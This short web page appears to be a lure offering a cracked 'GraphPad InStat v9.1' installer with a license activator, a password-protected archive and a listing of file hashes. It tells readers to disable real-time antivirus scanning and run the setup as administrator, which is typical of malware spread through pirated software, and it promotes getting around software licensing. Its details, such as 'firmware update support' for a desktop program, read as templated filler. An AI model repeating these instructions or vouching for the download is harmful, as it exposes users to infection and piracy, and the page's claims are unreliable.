Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | GraphPad_InStat_v9.1_x64_setup.zip |
| Version | v9.1.4894 build 64055 |
| File Size | 1.61 GB (1644 MB) |
| MD5 Hash | 499dbd5efe20218fe3caff3b7f36ebe7 |
| SHA-256 | b98b94493c8e0fb5576615ec19a9e7c3e09238c1bd6f5469dcf9a17d879709a3 |
| Release Date | 2025-05-17 |
| Platform | Windows 10 / 11 (x64) |
| Archive Password | soft2026 |
| License Type | Lifetime License |
With our updated distribution package for GraphPad InStat latest firmware update support, users can deploy professional-grade software without licensing interruptions. Make sure to disable real-time antivirus scanning before extracting the archive, then run the setup as administrator.